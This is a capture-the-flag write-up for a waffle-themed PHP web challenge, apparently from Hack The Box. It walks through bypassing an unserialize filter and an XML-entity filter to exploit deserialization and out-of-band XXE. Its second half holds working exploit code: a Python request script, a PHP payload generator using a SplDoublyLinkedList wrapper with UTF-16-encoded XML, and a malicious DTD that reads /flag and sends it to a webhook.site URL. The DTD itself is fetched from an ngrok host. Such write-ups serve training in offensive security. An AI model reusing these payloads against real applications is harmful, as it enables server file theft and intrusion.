Renember what’s important in life: friends 🤝, WAFfles 🧇, work 💼. or 🧇 WAFfles. 🤝 friends. 💼 work. Doesn’t matter. But work is third 🥉. This is why we launched our new WAFfle-y cute ordering system API for our beloved customers and friends! But remember, don’t get all filled up on those regexes yet, we also offer Ice Scream 🍦!
index.php
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
new XmlParserModel(file_get_contents('.env'));
if (empty($_COOKIE['PHPSESSID']))
{
$user = new UserModel;
$user->username = substr(uniqid('guest_'), 0, 10);
setcookie(
'PHPSESSID',
base64_encode(serialize($user)),
time()+60*60*24,
'/'
);
}
$router = new Router();
$router->new('GET', '/', fn($router) => $router->view('menu'));
$router->new('POST', '/api/order', 'OrderController@order');
die($router->match());
controllers/OrderController.php
<?php
function safe_object($serialized_data)
{
$matches = [];
$num_matches = preg_match_all('/(^|;)O:\d+:"([^"]+)"/', $serialized_data, $matches);
for ($i = 0; $i < $num_matches; $i++) {
$methods = get_class_methods($matches[2][$i]);
foreach ($methods as $method) {
if (preg_match('/^__.*$/', $method) != 0) {
die("Unsafe method: ${method}");
}
}
}
}
class OrderController
{
public function order($router)
{
$body = file_get_contents('php://input');
$cookie = base64_decode($_COOKIE['PHPSESSID']);
safe_object($cookie);
$user = unserialize($cookie);
if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
{
$order = json_decode($body);
if (!$order->food)
return json_encode([
'status' => 'danger',
'message' => 'You need to select a food option first'
]);
if ($_ENV['debug'])
{
$date = date('d-m-Y G:i:s');
file_put_contents('/tmp/orders.log', "[${date}] ${body} by {$user->username}\n", FILE_APPEND);
}
return json_encode([
'status' => 'success',
'message' => "Hello {$user->username}, your {$order->food} order has been submitted successfully."
]);
}
else
{
return $router->abort(400);
}
}
}
models/XmlParserModel.php
<?php
class XmlParserModel
{
private string $data;
private array $env;
public function __construct($data)
{
$this->data = $data;
}
public function __wakeup()
{
if (preg_match_all("/<!(?:DOCTYPE|ENTITY)(?:\s|%|&#[0-9]+;|&#x[0-9a-fA-F]+;)+[^\s]+\s+(?:SYSTEM|PUBLIC)\s+[\'\"]/im", $this->data))
{
die('Unsafe XML');
}
$env = @simplexml_load_string($this->data, 'SimpleXMLElement', LIBXML_NOENT);
if (!$env)
{
die('Malformed XML');
}
foreach ($env as $key => $value)
{
$_ENV[$key] = (string)$value;
}
}
}
We can make an order with POST /api/order
with JSON
payload. First time using the website, it sets our cookie to serialized UserModel
object in PHPSESSID
. This is what it looks like after URL and base64 decoding.
Cookie: PHPSESSID=O:9:"UserModel":1:{s:8:"username";s:10:"guest_614c";}
When making the call, the server checks if the cookie is “safe” with safe_object()
. The method finds all matches of serialized objects and gets their respective class methods. If any of the class method contains __
at the beginning (for magic methods exploits), the program dies.
Decoded cookie, the ErrorException
contains magic method __construct
.
O:14:"ErrorException":1:{s:8:"username";s:10:"guest_614c";}
Failing request
To bypass this restriction, I studied this writeup.
Objects that implement the Serializable interface contain two methods serialize and unserialize. When serializing such an object a string of the following format will be returned: C:<number of characters in the class name>:"<class name>":<length of the output of the serialize method>:{<output of the serialize method>}. Creating a serialized string in this format for an object of a class that doesn’t implement Serializable will work but the deserialized object will not have any class members set. It is thus not very useful for our purposes but it does lead the way to a final working exploit.
// C:19:“SplDoublyLinkedList”:33:{i:0;:O:10:“HelloWorld”:0:{}:i:42;}
Notice the :
before O
. This prevents the regex from matching. Part of the payload is going to look like this. $pay
is our serialized payload object.
// 11 is number of chars in {} block apart from variable $pay
$l = 11 + strlen($pay);
echo 'C:19:"SplDoublyLinkedList":' . $l . ':{i:0;:' . $pay . ':i:42;}';
Now we are free to serialize whatever we want.
We will serialize XmlParserModel
class. It has __wakeup
magic method, and calls simplexml_load_string()
which we will exploit. With this method, we can do XXE
, but have to first bypass the regex
check. The LIBXML_NOENT
option allows us to use XML entities.
To bypass the regex, I use UTF-16 encoding on the XML payload. The simplexml_load_string()
does whats its told to do, and the regex just don’t know what’s going on and lets the paylod through.
Free from restraints, we can finally do the XXE
with OOB DTD
(inspiration). The challenge is internet-enabled. I’m going to fetch the DTD
from ngrok which I tunnel to my machine where I host the DTD
file. The DTD
reads the flag file and make a call to my internet webhook, where a GET
parameter contains the flag.
exploit.py
#!/usr/bin/python3
import requests
import subprocess
import base64
result = subprocess.run(['php', 'php_pay.php'], stdout=subprocess.PIPE)
rs = result.stdout
pay = base64.b64encode(rs)
pay = pay.decode()
c = {'PHPSESSID': pay}
d = {"table_num":"1","food":"WAFfles"}
r = requests.post('http://206.189.124.249:32543/api/order', json=d, cookies=c)
print(r.content.decode())
php_pay.php
<?php
class XmlParserModel {
public string $data;
public function __construct($data)
{
$this->data = $data;
}
}
/* UTF-16 encoding
* ngrok to malicious.dtd
*/
$xml = '<?xml version="1.0" encoding="UTF-16"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1486-88-212-37-72.ngrok.io/malicious.dtd"> %xxe;]><env><debug>1</debug></env>';
// perform utf-16 conversion (big endian)
$xml = iconv('UTF-8', 'UTF-16BE', $xml);
$pay = serialize(new XmlParserModel($xml));
// 11 is number of chars in {} block apart from variable $pay
$l = 11 + strlen($pay);
echo 'C:19:"SplDoublyLinkedList":' . $l . ':{i:0;:' . $pay . ':i:42;}';
malicious.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://webhook.site/d1a3d99e-30da-4cb5-8e98-a4922d66f996/?x=%file;'>">
%eval;
%exfiltrate;
In exploit.py
we generate php
serialized payload and encode using base64
. URL encoding is done inplicitly in requests
. Insert payload into cookie and make the API
call.
In php_pay.php
we create and xml
paylod that will be interpreted by simplexml_load_string()
. We tell it to fetch our malicious DTD
and execute it. Then we convert the xml
into UTF-16BE
, serialize it and paste it into our predefined serialized structure.
In malicious.dtd
we tell the system to get contents of /flag
and encode it using base64
. We have to use base64
encoding because the file contains a newline at the end, and the xml
entity doesn’t like that. We then instruct the system to make and http
call to our webhook which contains the flag as a GET
parameter.
Execute
Result on webhook.site
Decoded flag
HTB{wh0_l3t_th3_enc0d1ngs_0ut???w00f…wo0f…w0of…WAFfl3s!!}